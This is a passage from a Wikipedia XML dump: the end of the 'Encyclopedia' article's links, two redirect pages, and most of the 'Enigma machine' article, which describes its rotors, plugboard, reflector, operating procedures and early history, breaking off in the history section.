*Yeo, Richard R., ''[http://www.cambridge.org/us/catalogue/catalogue.asp?isbn=0521651913 Encyclopaedic visions : scientific dictionaries and enlightenment culture]'' (Cambridge, New York: Cambridge University Press, 2001) ISBN 0521651913
{{wiktionarypar2|encyclopedia|encyclopaedia}}
==External links==
*[http://lii.org/pub/htdocs/search?action=show;search=encyclopedia;searchtype=keywords Librarians' Internet Index list of encyclopedias online]
*[http://www.uwstout.edu/lib/reference/encycl.htm Encyclopedias online] University of Wisconsin - Stout listing by category
*[http://stommel.tamu.edu/~baum/hyperref.html An enormous list of links to dictionaries, glossaries and encyclopedias] (note the dates on which pages were last updated)
*[http://www.lib.duke.edu/lilly/artsearch/guides/discussion%20guides/scholarlyencycl.htm What makes a scholarly encyclopedia?]
*[http://www.search.com/search?channel=19&amp;cat=63 CNET's encyclopedia meta-search] (includes Wikipedia)
*[http://www.shopperpedia.com Shopperpedia.com] (a Shopper's Encyclopedia). Definition at [[shopperpedia]]
*[http://www.educ.fc.ul.pt/hyper/eng/index.html Encyclopaedia and Hypertext]
*[http://www.encyclopediaindica.com/index.html Encyclopedia Indica] 
*[http://kennedy.byu.edu/staff/peterson/multivol/multibooks.html Errors and inconsistencies in several printed reference books and encyclopedias]

Historical encyclopedias available online:
*[http://digital.library.wisc.edu/1711.dl/HistSciTech.Cyclopaedia Chambers' ''Cyclopaedia''], 1728, superbly digitized at the University of Wisconsin Digital Collections Center
*[http://www.hti.umich.edu/cgi/t/text/text-idx?c=moa&amp;cc=moa&amp;key=title&amp;page=browse&amp;value=encyclop%C3%A6dia+americana&amp;Submit=Quick+Browse ''Encyclopædia Americana''], 1851, [[Francis Lieber]] ed. (Boston: Mussey &amp; Co.) at the University of Michigan Making of America site
*[http://www.hti.umich.edu/cgi/t/text/text-idx?c=moa&amp;cc=moa&amp;key=title&amp;page=browse&amp;value=american+cyclop%C3%A6dia&amp;Submit=Quick+Browse ''The American Cyclopædia''], 1873-76, George Ripley ed. (New York: D. Appleton and Company) 

[[Category:Encyclopedias| ]]

[[af:Ensiklopedie]]
[[als:Enzyklopädie]]
[[ar:موسوعة]]
[[bg:Енциклопедия]]
[[zh-min-nan:Pek-kho-choân-su]]
[[bn:বিশ্বকোষ]]
[[br:kelc'hgeriadur]]
[[ca:Enciclopèdia]]
[[cs:Encyklopedie]]
[[da:Encyklopædi]]
[[de:Enzyklopädie]]
[[et:Entsüklopeedia]]
[[el:Εγκυκλοπαίδεια]]
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[[eo:Enciklopedio]]
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[[fo:Alfrøði]]
[[fr:Encyclopédie]]
[[gl:Enciclopedia]]
[[ko:백과사전]]
[[ht:Ansiklopedi]]
[[hi:विश्वज्ञानकोष]]
[[hr:Enciklopedija]]
[[id:Ensiklopedi]]
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[[lt:Enciklopedija]]
[[lb:Enzyklopedie]]
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[[simple:Encyclopedia]]
[[sk:Encyklopédia]]
[[sl:Enciklopedija]]
[[sr:Енциклопедија]]
[[fi:Tietosanakirja]]
[[sv:Encyklopedi]]
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[[tt:Énsíklopédí]]
[[th:สารานุกรม]]
[[vi:Bách khoa toàn thư]]
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[[wa:Eciclopedeye]]
[[yi:ענציקלאָפּעדיע]]
[[zh:百科全书]]</text>
    </revision>
  </page>
  <page>
    <title>Expectation Operator</title>
    <id>9254</id>
    <revision>
      <id>15907157</id>
      <timestamp>2002-03-10T08:22:57Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Expected value]]
</text>
    </revision>
  </page>
  <page>
    <title>Euglenids</title>
    <id>9255</id>
    <revision>
      <id>15907158</id>
      <timestamp>2002-11-29T15:12:06Z</timestamp>
      <contributor>
        <username>Josh Grosse</username>
        <id>517</id>
      </contributor>
      <minor />
      <comment>Move to singular</comment>
      <text xml:space="preserve">#REDIRECT [[Euglenid]]</text>
    </revision>
  </page>
  <page>
    <title>Enigma machine</title>
    <id>9256</id>
    <revision>
      <id>42105546</id>
      <timestamp>2006-03-03T21:36:32Z</timestamp>
      <contributor>
        <username>Dod1</username>
        <id>10067</id>
      </contributor>
      <minor />
      <comment>/* External links */ The three uncracked ciphers - cracked</comment>
      <text xml:space="preserve">{{featured article}}
{{EnigmaSeries}}
[[Image:Nsa-enigma.jpg|thumb|220px|right|A three-rotor German military Enigma machine showing, from bottom to top, the plugboard, the keyboard, the lamps and the finger-wheels of the rotors emerging from the inner lid [[:Image:Label-enigma.jpg|(version with labels)]].]]
In the [[history of cryptography]], the '''Enigma''' was a portable [[cipher]] [[machine]] used to [[encryption|encrypt]] and decrypt secret messages. More precisely, Enigma was a family of related electro-mechanical [[rotor machine]]s &amp;mdash; there were a variety of different models.

The Enigma was used commercially from the early 1920s on, and was also adopted by the military and governmental services of a number of nations &amp;mdash; most famously by [[Nazi Germany]] before and during [[World War II]].

The German military model, the '''[[Wehrmacht]] Enigma''', is the version most commonly discussed. The machine has gained notoriety because [[Allied]] [[cryptologist]]s were able to [[cryptanalysis|decrypt]] a large number of messages that had been [[encipher]]ed on the machine. The [[Military espionage|intelligence]] gained through this source &amp;mdash; codenamed [[ULTRA]] &amp;mdash; was a significant aid to the Allied war effort. The exact influence of ULTRA is debated, but a typical assessment is that the [[Victory in Europe Day|end of the European war]] was hastened by two years because of the decryption of German ciphers. 

Although the Enigma cipher has cryptographic weaknesses, it was, in practice, only their combination with other significant factors which allowed codebreakers to read messages: mistakes by operators, procedural flaws, and the occasional captured machine or [[codebook]].

This article discusses the Enigma machine itself: its components and its procedures. For the history and techniques of how Enigma was broken, see '''[[Cryptanalysis of the Enigma]]'''. For a discussion of how Enigma-derived intelligence was put to use, see '''[[ULTRA]]'''.

__TOC__
&lt;br clear=&quot;all&quot; /&gt;

==Description==
[[Image:Enigma wiring kleur.png|thumb|left|250px|Enigma wiring diagram showing the current flow when pressing the 'A' key is encoded to the 'D' lamp, also D yields A, but A never A]]
Like other rotor machines, the Enigma machine is a combination of mechanical and electrical systems. The mechanical mechanism consists of a [[alphanumeric keyboard|keyboard]]; a set of rotating disks called ''rotor''s arranged adjacently along a [[spindle]]; and a stepping mechanism to turn one or more of the rotors with each key press. The exact mechanism varies, but the most common form is for the right-hand rotor to step once with every key stroke, and occasionally the motion of neighbouring rotors is triggered. The continual movement of the rotors results in a different cryptographic transformation after each key press.

The mechanical parts act in such a way as to form a varying [[electrical circuit]] &amp;mdash; the actual encipherment of a letter is performed electrically. When a key is pressed, the circuit is completed; current flows through the various components and ultimately lights one of many [[lamp]]s, indicating the output letter. For example, when encrypting a message starting &lt;tt&gt;ANX...&lt;/tt&gt;, the operator would first press the &lt;tt&gt;A&lt;/tt&gt; key, and the &lt;tt&gt;Z&lt;/tt&gt; lamp might light; &lt;tt&gt;Z&lt;/tt&gt; would be the first letter of the ciphertext. The operator would then proceed to encipher &lt;tt&gt;N&lt;/tt&gt; in the same fashion, and so on.

[[Image:Enigma-action.png|right|thumbnail|200px|The scrambling action of the Enigma rotors shown for two consecutive letters &amp;mdash; current is passed into set of rotors, around the reflector, and back out through the rotors again.

Note: The greyed-out lines represent other possible circuits within each rotor, which are hard-wired to contacts on each rotor.

Letter &lt;tt&gt;A&lt;/tt&gt; encrypts differently with consecutive key presses, first to &lt;tt&gt;G&lt;/tt&gt;, and then to &lt;tt&gt;C&lt;/tt&gt;. This is because the right hand rotor has stepped, sending the signal on a completely different route.]]
To explain the Enigma, we use the wiring diagram on the left. To simplify the example, only four components of each are shown. In reality, there are 26 lamps, keys, plugs and wirings inside the rotors. The current flows from the battery (1) through the depressed bi-directional letter-switch (2) to the plugboard (3). The plugboard allows rewiring the connections between keyboard (2) and fixed entry wheel (4). Next, the current proceeds through the - unused, so closed - plug (3) via the entry wheel (4) through the wirings of the three (Wehrmacht Enigma) or four (Kriegsmarine M4) rotors (5) and enters the reflector (6). The reflector returns the current, via a different path, back through the rotors (5) and entry wheel (4), and proceeds through plug 'S' connected with a cable (8) to plug 'D', and another bi-directional switch (9) to light-up the lamp.&lt;br clear=&quot;all&quot; /&gt;

===Rotors===
:''For details on the rotor wiring, ring settings and effect on the encryption, see [[Enigma rotor details]].''

{| style=&quot;float:right; clear:right; margin:0 0 .2em 1em;&quot;
|- style=&quot;vertical-align:top&quot;
| [[Image:Enigma-rotor-flat-contacts.jpg|thumb|none|&lt;!-- Attempt give both boxes the same height.
--&gt;&lt;div style=&quot;height:6em;float:right;clear:right;font-size:inherit;background:inherit;border:none;margin:0;&quot;&gt;&lt;!--
--&gt;&lt;/div&gt;The left side of an Enigma rotor, showing the flat electrical contacts. A single turnover notch is visible on the left edge of the rotor.]]
| [[Image:Enigma-rotor-pin-contacts.jpg|thumb|none|&lt;!-- Attempt give both boxes the same height.
--&gt;&lt;div style=&quot;height:6em;float:right;clear:right;font-size:inherit;background:inherit;border:none;margin:0;&quot;&gt;&lt;!--
--&gt;&lt;/div&gt;The right side of a rotor, showing the pin electrical contacts. The roman numeral V identifies the wiring of the rotor.]]
|}

The rotors (alternatively ''wheels'' or ''drums'' &amp;mdash; ''Walzen'' in German) form the heart of an Enigma machine. Approximately 10&amp;nbsp;cm in diameter, each rotor is a [[disk (mathematics)|disk]] made of hard [[rubber]] or [[bakelite]] with a series of [[brass]] spring-loaded pins on one face arranged in a circle; on the other side are a corresponding number of circular electrical contacts. The pins and contacts represent the [[alphabet]] &amp;mdash; typically the 26 letters A&amp;ndash;Z (this will be assumed for the rest of the description). When placed side-by-side, the pins of one rotor rest against the contacts of the neighbouring rotor, forming an electrical connection. Inside the body of the rotor, a set of 26 wires connects each pin on one side to a contact on the other in a complex pattern. The wiring differs for every rotor. 

[[Image:enigma-rotors.jpg|220px|thumb|left|Three Enigma rotors and the shaft on which they are placed when in use.]]

By itself, a rotor performs only a very simple type of [[encryption]] &amp;mdash; a simple [[substitution cipher]]. For example, the pin corresponding to the letter &lt;tt&gt;E&lt;/tt&gt; might be wired to the contact for letter &lt;tt&gt;T&lt;/tt&gt; on the opposite face. The complexity comes from the use of several rotors in series &amp;mdash; usually three or four &amp;mdash; and the regular movement of the rotors; this provides a much stronger type of encryption.

When placed in the machine, a rotor can be set to one of 26 positions. It can be turned by hand using a grooved finger-wheel which protrudes from the internal cover when closed, as shown in [[#Procedures for using the Enigma|Figure 2]]. So that the operator knows the position, each rotor has an ''alphabet tyre'' (or letter ring) attached around the outside of the disk, with 26 letters or numbers; one of these can be seen through a window, indicating the position of the rotor to the operator. In early Enigma models, the alphabet ring is fixed; a complication introduced in later versions is the facility to adjust the alphabet ring relative to the core wiring. The position of the ring is known as the ''Ringstellung'' (&quot;ring settings&quot;). 

The rotors each contain a notch (sometimes multiple notches), used to control the stepping of the rotors. In the military versions, the notches are located on the alphabet ring.

{| class=&quot;toccolours&quot; style=&quot;background:white; margin:1em auto; clear:both; font-size:94%;&quot;
! style=&quot;background:#ddddff; padding:.3em&quot; colspan=&quot;2&quot; | Exploded view of an Enigma rotor
| rowspan=&quot;2&quot; | &amp;nbsp;
! style=&quot;background:#ddddff; padding:.3em&quot;             | Three rotors in sequence
|- 
| [[Image:Enigma rotor exploded view.png|220px]]
|
# notched ring
# marking dot for &quot;A&quot; contact
# alphabet tyre
# plate contacts
# wire connections
# pin contacts
# spring-loaded ring adjusting lever
# hub
# finger wheel
# ratchet wheel
| [[Image:Enigma rotor set.png|240px]]
|}

The Army and Air Force Enigmas came equipped with several rotors; when first issued there was a total of three. On [[15 December]] [[1938]], this changed to five, from which three were chosen for insertion in the machine. These were marked with [[Roman numeral]]s to distinguish them: I, II, III, IV and V, all with single notches. The Naval version of the [[Wehrmacht]] Enigma had always been issued with more rotors than the other services: at first, five, then seven and finally eight. The additional rotors were named VI, VII and VIII, all with different wiring, and had two notches cut into them, resulting in a more frequent turnover.

The four-rotor Naval Enigma (M4) accommodated an extra rotor in the same space as the three-rotor version. This was accomplished by replacing the original reflector with a thinner reflector and adding a special fourth rotor. The fourth rotor can be one of two types: ''Beta'' or ''Gamma''.   
This 4th rotor never steps, but can be manually placed in any of the 26 positions.

===Stepping motion===
[[Image:Enigma ratchet.png|right|thumb|220px|Stepping motion of the Enigma. All three ratchet pawls (green) push in unison. In the first rotor (1), the ratchet (red) is always engaged, and steps with each keypress. Here, the second rotor (2) is engaged because the notch in the first rotor is aligned with the pawl; it will step with the next keypress. The third rotor (3) is not engaged, because the notch in the second rotor is not aligned; the pawl will simply slide over the curved ring.]]
To avoid merely implementing a simple substitution cipher, some rotors turn with consecutive presses of a key. This ensures that the cryptographic transformation is different at each position, producing a formidable [[polyalphabetic substitution]] cipher. 

The most common arrangement utilises a [[ratchet (device)|ratchet]] and [[pawl]] mechanism. Each rotor is affixed with a ratchet with 26 teeth; a group of pawls engage the teeth of the ratchet. The pawls are pushed forward in unison with each keypress on the machine. If a pawl engages the teeth of a ratchet, that rotor advances by one step.

In the Wehrmacht Enigma, each rotor is affixed with an adjustable notched ring. The five basic rotors (I-V) have one notch each, while the additional naval rotors VI, VII and VIII have two notches. At a certain point, a rotor's notch will align with the pawl, allowing it to engage the ratchet of the next rotor with the subsequent key press. When a pawl is not aligned with the notch, it will simply slide over the surface of the ring without engaging the ratchet. In a single-notch rotor system, the second rotor is advanced one position every 26 advances of the first rotor. Similarly, the third rotor is advanced one position for every 26 advances of the second rotor. The second rotor also advances at the same time as the third rotor, meaning the second rotor can step twice on subsequent key presses &amp;mdash; &quot;double stepping&quot; &amp;mdash; resulting in a reduced period&lt;ref&gt;David Hamer, &quot;Enigma: Actions Involved in the ‘Double-Stepping’ of the Middle Rotor,&quot; ''Cryptologia'', 21(1), January 1997, pp. 47&amp;ndash;50, [http://www.eclipse.net/~dhamer/downloads/rotorpdf.zip Online version (PDF)]&lt;/ref&gt;.

This double stepping causes the rotors to deviate from a normal [[odometer]]. A double step occurs as follows: the first rotor steps, and takes the second rotor one step further. If the second rotor has moved by this step into its own notch-position, the third pawl can drop down. On the next step this pawl pushes the ratchet of the third rotor and advances it, but will also push into the second rotor's notch, advancing the second rotor a second time in a row.

&lt;!--
{|
|-
| ADM
|-
| ADN
|-
| ADO
|-
| ADP
|-
| ADQ
|-
| AER
|-
| AFS
|-
| AFT
|-
| AFU
|}
--&gt;
With three wheels and only single notches in the first and second wheels, the machine has a period of 26 × 25 × 26 = 16,900. Historically, messages were limited to a couple of hundred letters, and so there was no risk of repeating any position within a single message.

To make the use of the naval fourth rotors &quot;Beta&quot; and &quot;Gamma&quot; possible, introduced in 1942, the reflector was changed to a thin model and the special thin fourth rotor was placed against it. No changes were made to the mechanism. Since there are only three pawls, the fourth rotor never steps, but can be manually set into one of its 26 positions. 

When pressing a key, the rotors step before the electrical circuit is connected.

[[Image:Enigma-rotor-stack.jpg|left|thumbnail|320px|The Enigma rotor assembly. The three movable rotors are sandwiched between two fixed wheels: the entry wheel on the right and the reflector (here marked &quot;B&quot;) on the left.]]

===Entry wheel===
The entry wheel (''Eintrittswalze'' in German), or entry [[stator]], connects the plugboard, if present, or otherwise the keyboard and lampboard to the rotor assembly. While the exact wiring used is of comparatively little importance to the security, it proved an obstacle in the progress of [[Poland | Polish]] cryptanalyst [[Marian Rejewski]] during his deduction of the rotor wirings. The commercial Enigma connects the keys in the order of their sequence on the keyboard: &lt;tt&gt;Q&lt;/tt&gt;&lt;math&gt;\rightarrow&lt;/math&gt;&lt;tt&gt;A&lt;/tt&gt;, &lt;tt&gt;W&lt;/tt&gt;&lt;math&gt;\rightarrow&lt;/math&gt;&lt;tt&gt;B&lt;/tt&gt;, &lt;tt&gt;E&lt;/tt&gt;&lt;math&gt;\rightarrow&lt;/math&gt;&lt;tt&gt;C&lt;/tt&gt; and so on. However, the military Enigma connects them in straight alphabetical order: &lt;tt&gt;A&lt;/tt&gt;&lt;math&gt;\rightarrow&lt;/math&gt;&lt;tt&gt;A&lt;/tt&gt;, &lt;tt&gt;B&lt;/tt&gt;&lt;math&gt;\rightarrow&lt;/math&gt;&lt;tt&gt;B&lt;/tt&gt;, &lt;tt&gt;C&lt;/tt&gt;&lt;math&gt;\rightarrow&lt;/math&gt;&lt;tt&gt;C&lt;/tt&gt; etc. It took an inspired piece of guesswork for Rejewski to realise the modification, and he was then able to solve the [[equation]]s.

===Reflector===
With the exception of the early models A and B, the last rotor is followed by a ''reflector'' (German: ''Umkehrwalze''), a patented feature distinctive of the Enigma family amongst the various rotor machines designed in the period. The reflector connects outputs of the last rotor up in pairs, redirecting current back through the rotors by a different route. The reflector ensures that Enigma is [[involution|self-reciprocal]]: conveniently, encryption is the same as decryption. However, the reflector also gives Enigma the property that no letter can encrypt to itself. This was a severe conceptual flaw and a cryptological mistake subsequently exploited by codebreakers.

In the commercial Enigma model C, the reflector can be inserted in one of two different positions. In Model D the reflector can be set in 26 possible positions, although it does not move during encipherment. In the Abwehr Enigma, the reflector is stepped during encryption in a similar way to the other wheels.

In the Wehrmacht Enigma, the reflector is fixed and does not rotate, and appeared in four versions. The original version was marked ''A'', and was replaced by ''Umkehrwalze B'' on [[1 November]] [[1937]]. A third version, ''Umkehrwalze C'' appeared in 1941. The fourth version, first observed on [[2 January]] [[1944]] is a rewireable reflector, called ''Umkehrwalze D'', allowing the Enigma operator to alter the connections as part of the key settings.&lt;br clear=&quot;all&quot; /&gt;

===Plugboard===
[[Image:Enigma-plugboard.jpg|right|thumbnail|280px|The plugboard (''Steckerbrett'') is positioned at the front of the machine, below the keys. When in use, there can be up to 13 connections. In the above photograph, two pairs of letters are swapped (S-O and J-A).]]
The plugboard (''Steckerbrett'' in German) is a variable wiring that could be reconfigured by the operator (visible on the front panel of Figure 1; some of the patch cords can be seen in the lid). It was introduced on German Army versions in 1930 and was soon adopted by the Navy as well. The plugboard contributes a great deal to the strength of the machine's encryption, more than an extra rotor would. Enigma without a plugboard &amp;mdash; &quot;unsteckered&quot; Enigma &amp;mdash; can be solved relatively straightforwardly using hand methods; these techniques are generally defeated by the addition of a plugboard, and codebreakers resorted to special machines to solve it.

A cable placed onto the plugboard connects letters up in pairs, for example, &lt;tt&gt;E&lt;/tt&gt; and &lt;tt&gt;Q&lt;/tt&gt; might be a steckered pair. The effect is to swap those letters before and after the main rotor scrambling unit. For example, when an operator presses &lt;tt&gt;E&lt;/tt&gt;, the signal is diverted to &lt;tt&gt;Q&lt;/tt&gt; before entering the rotors. Several such steckered pairs, up to 13, might be used at one time.

Current flows from the keyboard through the plugboard, and proceeds to the entry-rotor or ''Eintrittswalze''. Each letter on the plugboard has two jacks. Inserting a plug will disconnect the upper jack (from the keyboard) and the lower jack (to the entry-rotor) of that letter. The plug at the other end of the crosswired cable is inserted into another letter's jacks, switching the connections of the two letters.

[[Image:Enigma-printer-2.jpg|left|thumbnail|280px|The &quot;Schreibmax&quot; was a printing unit which could be attached to the Enigma, removing the need to laboriously read and write down the letters off the light panel.]]

===Accessories===
[[Image:Enigma-uhr-box.jpg|right|thumbnail|The Enigma Uhr attachment]]
A handy feature that was used on the M4 Enigma was the &quot;Schreibmax&quot;, a little [[printer]] which could print the 26 letters on a small paper ribbon. This excluded the need for a second operator, reading the lamps and writing the letters down. The Schreibmax was placed on top of the Enigma machine and was connected to the lamp panel; to install the printer, the lamp cover and all lightbulbs had to be removed. Besides its handiness, it improved operational security: the signal officer no longer had to see the plaintext, as the printer might have been installed in the captain's cabin of a submarine, so that the signals officer did the typing and key handling but never gained knowledge of secret received plaintext information.

Another accessory was the remote lamp panel. If the machine was equipped with an extra panel, the wooden case of the Enigma was wider and could store the extra panel. There was a lamp panel version that could be connected afterwards, but that required, just as with the Schreibmax, the lamp panel and lightbulbs to be removed. The remote panel made it possible for a person to read the decrypted text, without giving the operator access to it.

In 1944, the Luftwaffe introduced an extra plugboard switch, called the Uhr (clock). There was a little box, containing a switch with 40 positions. It replaced the default plugs. After connecting the plugs, as determined in the daily key sheet, the operator could turn the switch in one of the 40 positions, each position resulting in a different combination of plug wiring. Most of these plug connection are, unlike the default plugs, not pair-wise.&lt;br clear=&quot;all&quot; /&gt;

===Mathematical description===
The Enigma transformation for each letter can be specified mathematically as a product of [[permutation]]s. Assuming a three-rotor German Army/Air Force Enigma, let &lt;math&gt;P&lt;/math&gt; denote the plugboard transformation, &lt;math&gt;U&lt;/math&gt; denote the reflector, and &lt;math&gt;L, M, R&lt;/math&gt; denote the actions of the left, middle and right rotors respectively. Then the encryption &lt;math&gt;E&lt;/math&gt; can be expressed as

:&lt;math&gt;E = PRMLUL^{-1}M^{-1}R^{-1}P^{-1}&lt;/math&gt;

After each key press the rotors turn, changing the transformation. For example, if the right hand rotor &lt;math&gt;R&lt;/math&gt; is rotated &lt;math&gt;i&lt;/math&gt; positions, the transformation becomes &lt;math&gt;\rho^iR\rho^{-i}&lt;/math&gt;, where &lt;math&gt;\rho&lt;/math&gt; is the [[cyclic permutation]] mapping &lt;tt&gt;A&lt;/tt&gt; to &lt;tt&gt;B&lt;/tt&gt;, &lt;tt&gt;B&lt;/tt&gt; to &lt;tt&gt;C&lt;/tt&gt;, and so forth. Similarly, the middle and left-hand rotors can be represented as &lt;math&gt;j&lt;/math&gt; and &lt;math&gt;k&lt;/math&gt; rotations of &lt;math&gt;M&lt;/math&gt; and &lt;math&gt;L&lt;/math&gt;. The encryption function can then be described as:

:&lt;math&gt;E = P(\rho^iR\rho^{-i})(\rho^{j}M\rho^{-j})(\rho^{k}L\rho^{-k})U(\rho^kL^{-1}\rho^{-k})(\rho^{j}M^{-1}\rho^{-j})(\rho^{i}R^{-1}\rho^{-i})P^{-1}&lt;/math&gt;

== Procedures for using the Enigma==
[[Image:Kenngruppenheft.jpg|right|thumbnail|320px|In use, the Enigma required a list of daily key settings as well as a number of auxiliary documents. The procedures for German Naval Enigma were more elaborate, and secure, than the procedures used in other services. The Navy [[codebook]]s were also printed in red, water-soluble ink on pink paper so that they could easily be destroyed if they were at risk of being seized by the enemy. The above codebook was taken from captured [[U-boat]] ''[[U-505]]''.]]

In German military usage, communications were divided up into a number of different networks, all using different settings for their Enigma machines. These communication nets were termed ''keys'' at [[Bletchley Park]], and were assigned [[codename]]s, such as ''Red'', ''Chaffinch'' and ''Shark''. Each unit operating on a network was assigned a settings list specifying the Enigma for a period of time. For a message to be correctly encrypted and decrypted, both sender and receiver have to set up their Enigma in the same way; the rotor selection and order, the starting position and the plugboard connections need to be identical; these settings have to be agreed on beforehand, and were distributed in [[codebook]]s.

An Enigma machine's initial state, the [[cryptographic key]], has several aspects:
* Wheel order (''Walzenlage'') &amp;mdash; the choice of rotors and the order in which they are used.
* Initial position of the rotors: &amp;mdash;  chosen by the operator, different for each message.
* Ring settings (''Ringstellung'') &amp;mdash; the position of the alphabet ring relative to the rotor wiring.
* Plug settings (''Steckerverbindungen'') &amp;mdash; the connections of the plugs in the plugboard.

Enigma was designed to be secure even if the rotor wiring was known to an eavesdropper, although in practice the wiring was kept secret. With secret wiring, the total number of possible configurations has been calculated to be around 10&lt;sup&gt;114&lt;/sup&gt; (approximately 380 bits);  with known wiring and other operational constraints, this is reduced to around 10&lt;sup&gt;23&lt;/sup&gt; (76 
bits)&lt;ref&gt;http://www.nsa.gov/publications/publi00004.cfm&lt;/ref&gt;. Users of Enigma were assured of its security by the large number of possibilities; it was not feasible for an adversary to even begin to try every possible configuration in a [[brute force attack]].

===Indicators===
Most of the key was kept constant for a set time period, typically a day. However, a different initial rotor position was chosen for each message, because if a number of messages are sent encrypted with identical or near-identical settings, a cryptanalyst has several messages &quot;in depth&quot;, and might be able to attack the messages using [[frequency analysis]]. To counter this, a different starting position for the rotors was chosen for each message; a similar concept to an [[initialisation vector]] in modern cryptography. The starting position was transmitted along with the ciphertext. The exact method used is termed the &quot;indicator procedure&quot; &amp;mdash; weak indicator procedures allowed the initial breaks into Enigma.

[[Image:Enigma-rotor-windows.jpg|left|thumbnail|320px|Figure 2. With the inner lid placed down, the Enigma is ready for use. The finger wheels of the rotors protrude through the lid, allowing the operator to manually set the rotors, and the current position &amp;mdash; here &lt;tt&gt;RDKP&lt;/tt&gt; &amp;mdash; is visible to the operator through a set of windows.]]

One of the earliest indicator procedures was exploited to make the initial breaks into the Enigma by Polish cryptanalysts. The procedure was for the operator to set up his machine in accordance with his settings list, which included a global initial position for the rotors (''Grundstellung'' &amp;mdash; &quot;ground setting&quot;), &lt;tt&gt;AOH&lt;/tt&gt;, say. The operator would turn his rotors until &lt;tt&gt;AOH&lt;/tt&gt; was visible through the rotor windows. At this point, the operator would choose his own, arbitrary starting position for that particular message. An operator might select &lt;tt&gt;EIN&lt;/tt&gt;, and this became the ''message settings'' for that encryption session. The operator would then type &lt;tt&gt;EIN&lt;/tt&gt; into the machine, twice, to allow for detecting transmission errors. The results would be an encrypted indicator &amp;mdash; the &lt;tt&gt;EIN&lt;/tt&gt; typed twice might turn into &lt;tt&gt;XHTLOA&lt;/tt&gt;, which would be transmitted along with the message. Finally, the operator would then spin the rotors to his message settings, &lt;tt&gt;EIN&lt;/tt&gt; in this example, and the text of the actual message was typed in.

At the receiving end the operation was reversed. The operator set the machine to the initial settings and typed in the first six letters of the message (&lt;tt&gt;XHTLOA&lt;/tt&gt;). In this example, &lt;tt&gt;EINEIN&lt;/tt&gt; would be produced. By moving his rotors to &lt;tt&gt;EIN&lt;/tt&gt;, the receiving operator would then type in the rest of the ciphertext, deciphering the message.

The weakness came from two factors: the use of a global ground setting &amp;mdash; this was later changed so that the operator selected his initial position to encrypt the indicator, and sent the initial position in the clear. The second problem was the repetition of the indicator, which was actually a security flaw. The message key was encoded twice, resulting in a relation between first and fourth, second and fifth, and third and sixth character. This security problem enabled the Polish Cipher Bureau to break the pre-war Enigma messages. However, from 1940 on, the Germans changed the procedures to increase the security.

During the Second World War, German operators used the codebooks only to set up the rotors and ringsettings. For each message, he selected a random startposition, let's say &lt;tt&gt;WZA&lt;/tt&gt;, and random message key, let's say &lt;tt&gt;SXT&lt;/tt&gt;. He moved the rotors in the &lt;tt&gt;WZA&lt;/tt&gt; startposition, and encoded the messagekey &lt;tt&gt;SXT&lt;/tt&gt;. Let us presume that the result was &lt;tt&gt;UHL&lt;/tt&gt;. He sets up the message key &lt;tt&gt;SXT&lt;/tt&gt; as startposition, and encodes the message. Next, he transmits the startposition &lt;tt&gt;WZA&lt;/tt&gt;, the encoded message key &lt;tt&gt;UHL&lt;/tt&gt; together with the message. The receiver sets up the startposition according the first trigram, &lt;tt&gt;WZA&lt;/tt&gt; and decodes the second trigram, &lt;tt&gt;UHL&lt;/tt&gt;, to obtain the &lt;tt&gt;SXT&lt;/tt&gt; message key. Next, he uses this &lt;tt&gt;SXT&lt;/tt&gt; message key as startposition to decode the message. This way, each ground setting was different and the new procedure avoided the security flaw of double encoded message keys.

===Abbreviations and guidelines===
The Army Enigma machine only used the 26 alphabet characters. Signs were replaced by rare character combinations. A space was omitted or replaced by an X. The X was generally used as point or full stop. Some signs were different in other parts of the armed forces. The Wehrmacht replaced a comma by ZZ and the question sign by FRAGE or FRAQ. The Kriegsmarine however, replaced the comma by Y and the question sign by UD. The combination CH, as in Acht (eight) or Richtung (direction) were replaced by Q (AQT, RIQTUNG). Two, three or four zeros were replaced by CENTA MILLE and MYRIA.

Wehrmacht and Luftwaffe transmitted the messages in groups of five characters. The Kriegsmarine, using the four rotor Enigma, applied four letter groups. Frequently used names or words were to be varied as much as possible. Words like Minensuchboot (minesweeper) could be written as MINENSUCHBOOT, MINBOOT, MMMBOOT or MMM354. To make cryptanalysis harder, more than 250 characters in one message were forbidden. Longer messages were divided in several parts, each using its own message key. For more details see Tony Sale's translations of &quot;General Procedure&quot;&lt;ref&gt;[http://www.codesandciphers.org.uk/documents/egenproc/eniggnix.htm]&lt;/ref&gt; and &quot;Officer and Staff procedure&quot;&lt;ref&gt;[http://www.codesandciphers.org.uk/documents/officer/officerx.htm]&lt;/ref&gt;.&lt;br clear=&quot;all&quot; /&gt;

== History and development of the machine ==
Far from being a single design, there are numerous models and variants of the Enigma family. The earliest Enigma machines were commercial models dating from the early 1920s. Starting in the mid-1920s, the various branches of the German military began to use Enigma, making a number of changes in order to increase its security. In addition, a number of other nations either adopted or adapted the Enigma design for their own cipher machines.

{| style=&quot;margin: 1em auto 0 auto;&quot;
| [[Image:Enigmas.jpg|640px|thumbnail|A selection of seven Enigma machines and paraphernalia exhibited at the USA's [[National Cryptologic Museum]]. From left to right, the models are: 1) Commercial Enigma; 2) Enigma T; 3) Enigma G; 4) Unidentified; 5) Luftwaffe (Air Force) Enigma; 6) Heer (Army) Enigma; 7) Kriegsmarine (Naval) Enigma &amp;mdash; M4.]]
|}

===Commercial Enigma===
[[Image:Scherbius-1928-patent.png|right|thumbnail|320px|Scherbius' Enigma patent &amp;mdash; {{US patent|1,657,411}}, granted in 1928]]
On [[February 23]], [[1918]], German engineer [[Arthur Scherbius]] applied for a patent for a cipher machine using rotors, and, with E. Richard Ritter, founded the firm of Scherbius &amp;amp; Ritter. They approached the German Navy and Foreign Office with their design, but neither were interested. They then assigned the patent rights to Gewerkschaft Securitas, who founded the Chiffriermaschinen Aktien-Gesellschaft (Cipher Machines Stock Corporation) on [[9 July]] [[1923]]; Scherbius and Ritter were on the board of directors.

[[Image:Enigma-logo.jpg|180px|thumbnail|left|The Enigma logo]]

Chiffriermaschinen AG began advertising a rotor machine &amp;mdash; '''Enigma model A''' &amp;mdash; which was exhibited at the Congress of the [[International Postal Union]] in 1923 and 1924. The machine was heavy and bulky, incorporating a [[typewriter]]. It measured 65×45×35&amp;nbsp;cm and weighed about 50 kg. A '''model B''' was introduced, and was of a similar construction&lt;ref&gt;[http://www.armyradio.com/publish/Articles/The_Enigma_Code_Breach/Pictures/enigma_type_b.jpg]&lt;/ref&gt;. While bearing the Enigma name, both models A and B were quite unlike later versions: they differed in physical size and shape, but also cryptographically, in that they lacked the reflector.

